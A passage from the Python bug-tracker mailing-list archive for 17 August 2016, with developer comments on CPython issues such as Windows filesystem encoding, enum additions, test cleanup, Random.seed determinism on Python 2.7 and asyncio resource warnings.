Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 10:18:39 2016 From: report at bugs.python.org (Xiang Zhang) Date: Wed, 17 Aug 2016 14:18:39 +0000 Subject: [issue24853] Py_Finalize doesn't clean up PyImport_Inittab In-Reply-To: <1439431834.18.0.462174995045.issue24853@psf.upfronthosting.co.za> Message-ID: <1471443519.65.0.673265495248.issue24853@psf.upfronthosting.co.za> Xiang Zhang added the comment: > initialize/run script/finalize will crash the second time I don't think so since we already get a test case in test_capi that does init/fini repeatedly. It does not crash. So I agree to close this one. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 10:19:52 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 14:19:52 +0000 Subject: [issue27761] Private _nth_root function loses accuracy In-Reply-To: <1471437078.16.0.307745785519.issue27761@psf.upfronthosting.co.za> Message-ID: STINNER Victor added the comment: > floor_nroot does arithmetic with integers of bit-length approximately 54*n. Oh, I see. But maybe the Decimal is fast enough for such giant numbers, since we can control the precision? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 10:20:52 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 14:20:52 +0000 Subject: [issue27781] Change sys.getfilesystemencoding() on Windows to UTF-8 In-Reply-To: <1471439968.84.0.547039064402.issue27781@psf.upfronthosting.co.za> Message-ID: STINNER Victor added the comment: > Is there a surrogatepass option? I'm talking about error handlers of Python codecs: text.encode('utf8', 'surrogatepass') ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 10:22:54 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 14:22:54 +0000 Subject: [issue27781] Change sys.getfilesystemencoding() on Windows to UTF-8 In-Reply-To: <1471439968.84.0.547039064402.issue27781@psf.upfronthosting.co.za> Message-ID: STINNER Victor added the comment: > I suspect we'll have to go to Guido to get a ruling on the default, but I'll add an environment variable to switch. If you go in this direction, I would like to follow you for the UNIX/BSD side to make the switch portable. I was thinking about "-X utf8" which avoids to change the command line parser. If we agree on a plan, I would like to write it down as a PEP since I expect a lot of complains and questions which I would prefer to only answer once (see for example the length of your thread on python-ideas where each people repeated the same things multiple times ;-)) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 10:24:12 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 14:24:12 +0000 Subject: [issue26988] Add AutoNumberedEnum to stdlib In-Reply-To: <1471441028.53.0.145969894603.issue26988@psf.upfronthosting.co.za> Message-ID: STINNER Victor added the comment: > It's not just C that has enums where you can define a unique group of names and omit the values ... Yes, Python 3.4 too: Animal = Enum('Animal', 'ant bee cat dog') https://docs.python.org/dev/library/enum.html#functional-api ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 10:25:36 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 14:25:36 +0000 Subject: [issue26988] Add AutoNumberedEnum to stdlib In-Reply-To: <1471438599.35.0.315369536476.issue26988@psf.upfronthosting.co.za> Message-ID: STINNER Victor added the comment: > Raymond, what are your thoughts about the version of AutoEnum that requires that a bare tuple be used as the value. It has been in the Python docs since 3.4 and was actually the original request of this issue: https://docs.python.org/library/enum.html#autonumber Well, I suggest to keep it as a recipe in the doc ;-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 10:26:11 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 14:26:11 +0000 Subject: [issue24853] Py_Finalize doesn't clean up PyImport_Inittab In-Reply-To: <1439431834.18.0.462174995045.issue24853@psf.upfronthosting.co.za> Message-ID: <1471443971.23.0.938966379583.issue24853@psf.upfronthosting.co.za> STINNER Victor added the comment: The issue was fixed by a previous change, maybe the issue #27736. ---------- resolution: -> fixed status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 10:33:36 2016 From: report at bugs.python.org (Martin Panter) Date: Wed, 17 Aug 2016 14:33:36 +0000 Subject: [issue27787] Avoid test_main() in test_httplib; gc.collect() dangling threads Message-ID: <1471444416.58.0.403066422395.issue27787@psf.upfronthosting.co.za> New submission from Martin Panter: In Issue 12319, there are many iterations of a patch that adds a new TestCase subclass to Lib/test/test_httplib.py. However it never got run by the main regrtest infrastructure, because nobody remembered to add the class to the list of test classes. So I want to remove test_main(). It seems this would let the classes be automatically discovered (like normal unittest usage). I understand @reap_threads is to avoid background threads continuing between tests (especially when a test fails). I improved the cleanup of the background thread in one test. There are three other test methods using test.ssl_servers.make_https_server(), which also runs a background thread, but that already seems to clean itself up properly, via case.addCleanup(server.join). I found that the test infrastructure randomly complained about dangling threads without @reap_threads. It uses a set of weak references to thread objects. The solution seems to be to call gc.collect() before checking. This is what @reap_threads does, so maybe my patch would eliminate the need for @reap_threads in other test files as well. In fact, if everybody called join() on their threads, we may be able to eliminate @reap_threads altogether. ---------- components: Tests files: httplib-tests.patch keywords: patch messages: 272954 nosy: martin.panter priority: normal severity: normal stage: patch review status: open title: Avoid test_main() in test_httplib; gc.collect() dangling threads type: enhancement versions: Python 3.6 Added file: http://bugs.python.org/file44134/httplib-tests.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 10:38:23 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 14:38:23 +0000 Subject: [issue27787] Avoid test_main() in test_httplib; gc.collect() dangling threads In-Reply-To: <1471444416.58.0.403066422395.issue27787@psf.upfronthosting.co.za> Message-ID: <1471444703.94.0.707614861732.issue27787@psf.upfronthosting.co.za> STINNER Victor added the comment: Your patch changes 3 different things. After the code review, I suggest to split it in two changes (fix test_httplib threading ripper, fix save_env, fix test_httplib main). ---------- nosy: +haypo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 10:54:41 2016 From: report at bugs.python.org (Ethan Furman) Date: Wed, 17 Aug 2016 14:54:41 +0000 Subject: [issue23591] enum: Add Flags and IntFlags In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za> Message-ID: <1471445681.14.0.939144531631.issue23591@psf.upfronthosting.co.za> Ethan Furman added the comment: The repr is better -- which patch did you test? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 10:55:49 2016 From: report at bugs.python.org (Petr Viktorin) Date: Wed, 17 Aug 2016 14:55:49 +0000 Subject: [issue27782] Multi-phase extension module initialization, inconsistent exceptions and conflicts between code and PEP In-Reply-To: <1471413877.95.0.607516843714.issue27782@psf.upfronthosting.co.za> Message-ID: <1471445749.46.0.926975461528.issue27782@psf.upfronthosting.co.za> Petr Viktorin added the comment: Hi! I'm on a tight schedule this week, so I'm not looking into this in detail. But please let me know if you need any help and I'll raise the priority. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 11:03:33 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 15:03:33 +0000 Subject: [issue23591] enum: Add Flags and IntFlags In-Reply-To: <1471445681.14.0.939144531631.issue23591@psf.upfronthosting.co.za> Message-ID: STINNER Victor added the comment: > The repr is better -- which patch did you test? Sorry, I wasn't clear. I didn't test any patch :-) I expect (not expected) better repr when changes will be applied, it's just a remark... ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 11:20:39 2016 From: report at bugs.python.org (Roundup Robot) Date: Wed, 17 Aug 2016 15:20:39 +0000 Subject: [issue9998] ctypes find_library should search LD_LIBRARY_PATH on Linux In-Reply-To: <1285857910.26.0.582948500976.issue9998@psf.upfronthosting.co.za> Message-ID: <20160817152035.78741.89280.BA4CA73E@psf.io> Roundup Robot added the comment: New changeset 385181e809bc by Vinay Sajip in branch 'default': Closes #9998: Allowed find_library to search additional locations for libraries. https://hg.python.org/cpython/rev/385181e809bc ---------- nosy: +python-dev resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 11:34:31 2016 From: report at bugs.python.org (Steve Dower) Date: Wed, 17 Aug 2016 15:34:31 +0000 Subject: [issue27731] Opt-out of MAX_PATH on Windows 10 In-Reply-To: <1470870588.24.0.387323259693.issue27731@psf.upfronthosting.co.za> Message-ID: <1471448071.86.0.830497927883.issue27731@psf.upfronthosting.co.za> Steve Dower added the comment: No, the flag that we add to the binary is backwards compatible. Earlier versions will just ignore it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 11:40:51 2016 From: report at bugs.python.org (Steve Dower) Date: Wed, 17 Aug 2016 15:40:51 +0000 Subject: [issue27781] Change sys.getfilesystemencoding() on Windows to UTF-8 In-Reply-To: <1471405781.01.0.933321108026.issue27781@psf.upfronthosting.co.za> Message-ID: <1471448451.01.0.571114311395.issue27781@psf.upfronthosting.co.za> Steve Dower added the comment: By portable, do you mean not using an environment variable? Command line parsing is potentially affected by this on Windows - I'd have to look deeper - as command lines are provided as UTF-16. But we may not ever expose them as bytes. I don't even know that this matters on the UNIX/BSD side as the file system encoding provided there is correct, no? It's just Windows where the file system encoding used for bytes doesn't match what the file system actually uses. I was afraid a PEP would be necessary out of this, but I want to see how the python-dev discussion goes first. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 11:44:11 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 15:44:11 +0000 Subject: [issue27781] Change sys.getfilesystemencoding() on Windows to UTF-8 In-Reply-To: <1471448451.01.0.571114311395.issue27781@psf.upfronthosting.co.za> Message-ID: STINNER Victor added the comment: Steve Dower added the comment: > By portable, do you mean not using an environment variable? I mean that "python3 -X utf8" should force sys.getfilesystemencoding() to UTF-8 on UNIX/BSD, it would ignore the current locale setting. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 11:49:28 2016 From: report at bugs.python.org (Steve Dower) Date: Wed, 17 Aug 2016 15:49:28 +0000 Subject: [issue27781] Change sys.getfilesystemencoding() on Windows to UTF-8 In-Reply-To: <1471405781.01.0.933321108026.issue27781@psf.upfronthosting.co.za> Message-ID: <1471448968.89.0.333876226822.issue27781@psf.upfronthosting.co.za> Steve Dower added the comment: Ah I see, if we end up sticking with MBCS and offering a switch to enable UTF-8. In that case, we'll definitely ensure the flag is the same (but I'm hopeful we will just make the reliable behavior on Windows the default, so it won't matter). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 12:10:58 2016 From: report at bugs.python.org (Brett Cannon) Date: Wed, 17 Aug 2016 16:10:58 +0000 Subject: [issue27788] platform module's version number doesn't match its docstring Message-ID: <1471450258.8.0.170997912559.issue27788@psf.upfronthosting.co.za> New submission from Brett Cannon: Not sure if it's worth keeping the version number around, but ATM the module has __version__ set to 1.0.7 while the docstring mentions a 1.0.8. ---------- components: Library (Lib) messages: 272964 nosy: brett.cannon, lemburg priority: normal severity: normal status: open title: platform module's version number doesn't match its docstring versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 12:13:32 2016 From: report at bugs.python.org (Brett Cannon) Date: Wed, 17 Aug 2016 16:13:32 +0000 Subject: [issue27785] Module platform: Versions of Windows In-Reply-To: <1471424921.88.0.870177840736.issue27785@psf.upfronthosting.co.za> Message-ID: <1471450412.67.0.037135290895.issue27785@psf.upfronthosting.co.za> Changes by Brett Cannon : ---------- nosy: +brett.cannon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 12:14:46 2016 From: report at bugs.python.org (Brett Cannon) Date: Wed, 17 Aug 2016 16:14:46 +0000 Subject: [issue27785] Module platform: Versions of Windows In-Reply-To: <1471424921.88.0.870177840736.issue27785@psf.upfronthosting.co.za> Message-ID: <1471450486.26.0.476457864762.issue27785@psf.upfronthosting.co.za> Changes by Brett Cannon : ---------- nosy: -brett.cannon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 12:15:03 2016 From: report at bugs.python.org (Brett Cannon) Date: Wed, 17 Aug 2016 16:15:03 +0000 Subject: [issue27781] Change sys.getfilesystemencoding() on Windows to UTF-8 In-Reply-To: <1471405781.01.0.933321108026.issue27781@psf.upfronthosting.co.za> Message-ID: <1471450503.11.0.776667215785.issue27781@psf.upfronthosting.co.za> Changes by Brett Cannon : ---------- nosy: +brett.cannon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 12:30:19 2016 From: report at bugs.python.org (Brett Cannon) Date: Wed, 17 Aug 2016 16:30:19 +0000 Subject: [issue27786] longobject.c: simplify x_sub(), inline _PyLong_Negate() In-Reply-To: <1471439832.76.0.773919988568.issue27786@psf.upfronthosting.co.za> Message-ID: <1471451419.81.0.607475855354.issue27786@psf.upfronthosting.co.za> Brett Cannon added the comment: I would add a comment as to why the assertion is there, otherwise it seems somewhat random that it exists. ---------- nosy: +brett.cannon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 12:33:08 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 16:33:08 +0000 Subject: [issue27786] longobject.c: simplify x_sub(), inline _PyLong_Negate() In-Reply-To: <1471439832.76.0.773919988568.issue27786@psf.upfronthosting.co.za> Message-ID: <1471451588.73.0.414856207787.issue27786@psf.upfronthosting.co.za> STINNER Victor added the comment: > I would add a comment as to why the assertion is there, otherwise it seems somewhat random that it exists. Hum. Maybe it's even better to remove the assertion :-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 12:39:26 2016 From: report at bugs.python.org (Brett Cannon) Date: Wed, 17 Aug 2016 16:39:26 +0000 Subject: [issue27786] longobject.c: simplify x_sub(), inline _PyLong_Negate() In-Reply-To: <1471439832.76.0.773919988568.issue27786@psf.upfronthosting.co.za> Message-ID: <1471451966.58.0.594411373407.issue27786@psf.upfronthosting.co.za> Brett Cannon added the comment: That works too. :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 12:40:04 2016 From: report at bugs.python.org (Steve Dower) Date: Wed, 17 Aug 2016 16:40:04 +0000 Subject: [issue27785] Module platform: Versions of Windows In-Reply-To: <1471424921.88.0.870177840736.issue27785@psf.upfronthosting.co.za> Message-ID: <1471452004.22.0.435914063221.issue27785@psf.upfronthosting.co.za> Steve Dower added the comment: Platform module version 1.0.8 added support for Windows 8.1 and later. You actually downgraded to 1.0.7, which is why you lost functionality. ---------- resolution: -> not a bug status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 13:13:59 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 17:13:59 +0000 Subject: [issue27786] longobject.c: simplify x_sub(), inline _PyLong_Negate() In-Reply-To: <1471439832.76.0.773919988568.issue27786@psf.upfronthosting.co.za> Message-ID: <1471454039.29.0.104994773085.issue27786@psf.upfronthosting.co.za> STINNER Victor added the comment: Updated patch. ---------- Added file: http://bugs.python.org/file44135/x_sub-2.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 13:18:15 2016 From: report at bugs.python.org (Mark Dickinson) Date: Wed, 17 Aug 2016 17:18:15 +0000 Subject: [issue27181] Add geometric mean to `statistics` module In-Reply-To: <1464901494.08.0.0111988914026.issue27181@psf.upfronthosting.co.za> Message-ID: <1471454295.97.0.0102323234385.issue27181@psf.upfronthosting.co.za> Mark Dickinson added the comment: > self.assertEqual(self.nroot(x**12, 12), float(x)) > AssertionError: 1.1866666666666665 != 1.1866666666666668 That looks like a case where the test should simply be weakened to an `assertAlmostEqual` with a suitable tolerance; there's no strong reason to expect that `nroot` will give a faithfully rounded result in this case or any other. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 13:19:16 2016 From: report at bugs.python.org (Ethan Furman) Date: Wed, 17 Aug 2016 17:19:16 +0000 Subject: [issue26988] Add AutoNumberedEnum to stdlib In-Reply-To: <1462844071.91.0.106881823757.issue26988@psf.upfronthosting.co.za> Message-ID: <1471454356.33.0.17468008383.issue26988@psf.upfronthosting.co.za> Ethan Furman added the comment: Raymond, I appreciate your review and your poll. I am open to removing AutoEnum, but would like to give it a couple more weeks of review. (I'll post on py-dev.) The only point you made that I will firmly refute is the "unexpected breakage": you ran your test script with the -m "run module as script" flag, which is what caused the problem. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 13:29:55 2016 From: report at bugs.python.org (Glyph Lefkowitz) Date: Wed, 17 Aug 2016 17:29:55 +0000 Subject: [issue27706] Random.seed, whose purpose is purportedly determinism, behaves non-deterministically with strings due to hash randomization In-Reply-To: <1470615314.72.0.24682085223.issue27706@psf.upfronthosting.co.za> Message-ID: <1471454995.51.0.226701031418.issue27706@psf.upfronthosting.co.za> Glyph Lefkowitz added the comment: It does seem to be stable on python 3, but on python 2.7 it's definitely a problem: $ python -Rc "import random; r=random.Random('abc'); print(''.join(map(str, (r.randrange(10) for x in range(10)))), hash('abc'))" ('9553343809', -1972659830997666042) $ python -Rc "import random; r=random.Random('abc'); print(''.join(map(str, (r.randrange(10) for x in range(10)))), hash('abc'))" ('5519010739', 5520208254012363023) $ python -Rc "import random; r=random.Random('abc'); print(''.join(map(str, (r.randrange(10) for x in range(10)))), hash('abc'))" ('7519888435', 3560222494758569319) $ python -Rc "import random; r=random.Random('abc'); print(''.join(map(str, (r.randrange(10) for x in range(10)))), hash('abc'))" ('9612648103', 4134882069837806740) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 13:33:29 2016 From: report at bugs.python.org (Glyph Lefkowitz) Date: Wed, 17 Aug 2016 17:33:29 +0000 Subject: [issue27706] Random.seed, whose purpose is purportedly determinism, behaves non-deterministically with strings due to hash randomization In-Reply-To: <1470615314.72.0.24682085223.issue27706@psf.upfronthosting.co.za> Message-ID: <1471455209.23.0.829867878395.issue27706@psf.upfronthosting.co.za> Glyph Lefkowitz added the comment: Changing the affected version to just 2.7. ---------- versions: -Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 13:35:50 2016 From: report at bugs.python.org (Mark Roseman) Date: Wed, 17 Aug 2016 17:35:50 +0000 Subject: [issue27755] Retire DynOptionMenu with a ttk Combobox In-Reply-To: <1471117947.7.0.659308305751.issue27755@psf.upfronthosting.co.za> Message-ID: <1471455350.14.0.816954251681.issue27755@psf.upfronthosting.co.za> Mark Roseman added the comment: Justin, as you say, I think your patch is entirely reasonable as an interim step, as eventually doing a broader improvement on the preferences dialog as suggested in #24781 makes sense. My reworked version used Combobox in similar ways; I think we can safely do away with the wrapper class and just use the ttk widget directly in the dialog (as the widget already handles the dynamic changes to the list, which the old tk_optionMenu didn't) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 13:48:49 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 17 Aug 2016 17:48:49 +0000 Subject: [issue27786] longobject.c: simplify x_sub(), inline _PyLong_Negate() In-Reply-To: <1471439832.76.0.773919988568.issue27786@psf.upfronthosting.co.za> Message-ID: <1471456129.78.0.408393588817.issue27786@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: LGTM. Maybe use size_a instead of Py_SIZE(z)? And look at "sign". Currently it takes values 1 and -1. Is it worth to replace it with boolean variable "negative"? Or Py_ssize_t variable size_z that takes values size_a and -size_a? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 13:49:05 2016 From: report at bugs.python.org (Roundup Robot) Date: Wed, 17 Aug 2016 17:49:05 +0000 Subject: [issue27786] longobject.c: simplify x_sub(), inline _PyLong_Negate() In-Reply-To: <1471439832.76.0.773919988568.issue27786@psf.upfronthosting.co.za> Message-ID: <20160817174900.23268.9848.AB58EEAD@psf.io> Roundup Robot added the comment: New changeset be9dc240bf28 by Victor Stinner in branch 'default': Issue #27786: Simplify x_sub() https://hg.python.org/cpython/rev/be9dc240bf28 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 13:50:03 2016 From: report at bugs.python.org (Xiang Zhang) Date: Wed, 17 Aug 2016 17:50:03 +0000 Subject: [issue27782] Multi-phase extension module initialization, inconsistent exceptions and conflicts between code and PEP In-Reply-To: <1471413877.95.0.607516843714.issue27782@psf.upfronthosting.co.za> Message-ID: <1471456202.99.0.656043774676.issue27782@psf.upfronthosting.co.za> Xiang Zhang added the comment: Thanks Petr. I'd appreciate it if you are willing to review the patch. Upload a patch to fix this, along with tests and doc updating. But here is something different. In PEP489, it is explicitly stated that "Py_mod_create slot is not responsible for setting import-related attributes specified in PEP 451 (such as __name__ or __loader__ ) on the new module". So when an object(even ModuleType instances) is returned, it's __name__ attribute is not set and we can't rely on it (which means we can't even use PyModule_GetNameObject). I then use the name attribute of the spec. Looking forward to feedback. ---------- keywords: +patch Added file: http://bugs.python.org/file44136/issue27782.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 13:50:46 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 17:50:46 +0000 Subject: [issue27786] longobject.c: simplify x_sub(), inline _PyLong_Negate() In-Reply-To: <1471439832.76.0.773919988568.issue27786@psf.upfronthosting.co.za> Message-ID: <1471456246.86.0.0575369729742.issue27786@psf.upfronthosting.co.za> STINNER Victor added the comment: Thanks for the review Brett, I pushed my fix. ---------- resolution: -> fixed status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 14:18:16 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 17 Aug 2016 18:18:16 +0000 Subject: [issue27574] Faster parsing keyword arguments In-Reply-To: <1468944235.85.0.107735525995.issue27574@psf.upfronthosting.co.za> Message-ID: <1471457896.16.0.177375468506.issue27574@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: I left this issue open for three reasons. 1. I had ideas and almost finished patch for different optimization. Unfortunately my hope was not justified, new implementation is slower. If I fail to fix it in few days, I'll close the issue. 2. For bikeshedding in case somebody want to suggest different names or interface. 3. I was going to convert most occurrences of PyArg_ParseTupleAndKeywords() to Argument Clinic for achieving larger effect of this optimization. But this patch was larger than I expected. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 14:22:32 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 17 Aug 2016 18:22:32 +0000 Subject: [issue26200] SETREF adds unnecessary work in some cases In-Reply-To: <1453745024.51.0.674954872761.issue26200@psf.upfronthosting.co.za> Message-ID: <1471458152.56.0.528311844143.issue26200@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Thank you Raymond and Victor. ---------- resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 14:30:03 2016 From: report at bugs.python.org (Brett Cannon) Date: Wed, 17 Aug 2016 18:30:03 +0000 Subject: [issue27574] Faster parsing keyword arguments In-Reply-To: <1468944235.85.0.107735525995.issue27574@psf.upfronthosting.co.za> Message-ID: <1471458603.26.0.50799746889.issue27574@psf.upfronthosting.co.za> Brett Cannon added the comment: I think for converting uses to Argument Clinic it can be done in a more iterative process on a per-module basis. How many modules do we have left to convert? If it isn't ridiculously huge we could open individual issues to convert them each. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 14:30:28 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 17 Aug 2016 18:30:28 +0000 Subject: [issue26988] Add AutoNumberedEnum to stdlib In-Reply-To: <1462844071.91.0.106881823757.issue26988@psf.upfronthosting.co.za> Message-ID: <1471458628.53.0.16931193503.issue26988@psf.upfronthosting.co.za> Raymond Hettinger added the comment: > you ran your test script with the -m "run module as script" flag Right, that was a mistest, so it looks like triple quotes do work. I did notice that there's also an issue if one line reads, "red='hello'". But really, the big issue is using a bare-identifier to fiat an attribute into existence. That's a door that really shouldn't be opened. Secondarily, the doesn't seem to be any use case that can't be readily covered by the existing classes. There is no real need for the witchcraft and the departure from Python norms. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 14:44:02 2016 From: report at bugs.python.org (Ned Deily) Date: Wed, 17 Aug 2016 18:44:02 +0000 Subject: [issue18880] ssl.SSLSocket shutdown doesn't behave like socket.shutdown In-Reply-To: <1377812218.52.0.68669263864.issue18880@psf.upfronthosting.co.za> Message-ID: <1471459442.64.0.230745470367.issue18880@psf.upfronthosting.co.za> Changes by Ned Deily : ---------- nosy: +alex, dstufft, giampaolo.rodola, janssen versions: +Python 3.6 -Python 2.6, Python 3.1 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 14:47:08 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 17 Aug 2016 18:47:08 +0000 Subject: [issue27574] Faster parsing keyword arguments In-Reply-To: <1468944235.85.0.107735525995.issue27574@psf.upfronthosting.co.za> Message-ID: <1471459628.84.0.709495768064.issue27574@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Yes, I came to conclusion than needed to push existing issues for separate files. I'm sure there are ready patches waiting for review. Now there is additional reason for converting to Argument Clinic. But some files contain only one PyArg_ParseTupleAndKeywords(), I think we can convert them in one patch. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 16:26:43 2016 From: report at bugs.python.org (=?utf-8?q?C=C3=A9dric_Krier?=) Date: Wed, 17 Aug 2016 20:26:43 +0000 Subject: [issue27645] Supporting native backup facility of SQLite In-Reply-To: <1469728098.24.0.732586701981.issue27645@psf.upfronthosting.co.za> Message-ID: <1471465603.9.0.626109540001.issue27645@psf.upfronthosting.co.za> Changes by C?dric Krier : ---------- nosy: +ced _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 16:56:48 2016 From: report at bugs.python.org (Marc-Andre Lemburg) Date: Wed, 17 Aug 2016 20:56:48 +0000 Subject: [issue27788] platform module's version number doesn't match its docstring In-Reply-To: <1471450258.8.0.170997912559.issue27788@psf.upfronthosting.co.za> Message-ID: <1471467408.47.0.611725357391.issue27788@psf.upfronthosting.co.za> Marc-Andre Lemburg added the comment: That must have been an oversight. __version__ should read '0.8.0'. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 17:13:53 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 21:13:53 +0000 Subject: [issue27786] longobject.c: simplify x_sub(), inline _PyLong_Negate() In-Reply-To: <1471439832.76.0.773919988568.issue27786@psf.upfronthosting.co.za> Message-ID: <1471468433.64.0.773118107604.issue27786@psf.upfronthosting.co.za> STINNER Victor added the comment: Serhiy Storchaka: "LGTM." Oh, you posted your comment while I was pushing the patch after Brett wrote LGTM on the review (not on the bug tracker). > Maybe use size_a instead of Py_SIZE(z)? > And look at "sign". Currently it takes values 1 and -1. Is it worth to replace it with boolean variable "negative"? Or Py_ssize_t variable size_z that takes values size_a and -size_a? Hum, I don't know what is the best. I don't think that it has an impact on performance. Feel free to modify directly the code, your proposed changes look safe and simple enough. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 17:15:06 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 17 Aug 2016 21:15:06 +0000 Subject: [issue27789] test_asyncio Resource Warnings Message-ID: <1471468506.77.0.2823677848.issue27789@psf.upfronthosting.co.za> New submission from Terry J. Reedy: 3.6, Windows 10, debug build. The following appeared before and after pulling and rebuilding today. I am reporting as per Victor's request on pydev list. 0:00:22 [ 52/402] test_asyncio passed F:\Python\dev\36\lib\asyncio\sslproto.py:329: ResourceWarning: unclosed transport source=self) F:\Python\dev\36\lib\asyncio\sslproto.py:329: ResourceWarning: unclosed transport source=self) F:\Python\dev\36\lib\asyncio\sslproto.py:329: ResourceWarning: unclosed transport source=self) ---------- components: Tests, asyncio messages: 272986 nosy: giampaolo.rodola, gvanrossum, haypo, terry.reedy, yselivanov priority: normal severity: normal stage: needs patch status: open title: test_asyncio Resource Warnings type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 17:18:45 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 21:18:45 +0000 Subject: [issue27706] Random.seed, whose purpose is purportedly determinism, behaves non-deterministically with strings due to hash randomization In-Reply-To: <1470615314.72.0.24682085223.issue27706@psf.upfronthosting.co.za> Message-ID: <1471468725.12.0.326021805725.issue27706@psf.upfronthosting.co.za> STINNER Victor added the comment: > Changing the affected version to just 2.7. Oh. The request looks like an enhancement. The problem is that if you add a new feature in Python 2.7.n+1, it's not available on Python 2.7.n. Support 2.7.n as well, you have to backport the code in your application. I'm not sure that it's worth to add such enhancement to the random at this point in Python 2. I suggest you to either upgrade to Python 3 (hello, Python 3!) or implement the SHA512 in your application. I expect that random.seed() in only called at one or maybe two places, so it shouldn't be hard to patch your code ;-) In short, I suggest to close the issue as wont fix. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 17:19:05 2016 From: report at bugs.python.org (Roundup Robot) Date: Wed, 17 Aug 2016 21:19:05 +0000 Subject: [issue27594] Assertion failure when running "test_ast" tests with coverage. In-Reply-To: <1469226726.58.0.53789092151.issue27594@psf.upfronthosting.co.za> Message-ID: <20160817211901.78555.78692.EC0A3BE8@psf.io> Roundup Robot added the comment: New changeset 1bf307f42a6b by Ned Deily in branch 'default': Issue #27594: Prevent assertion error when running test_ast with coverage https://hg.python.org/cpython/rev/1bf307f42a6b ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at 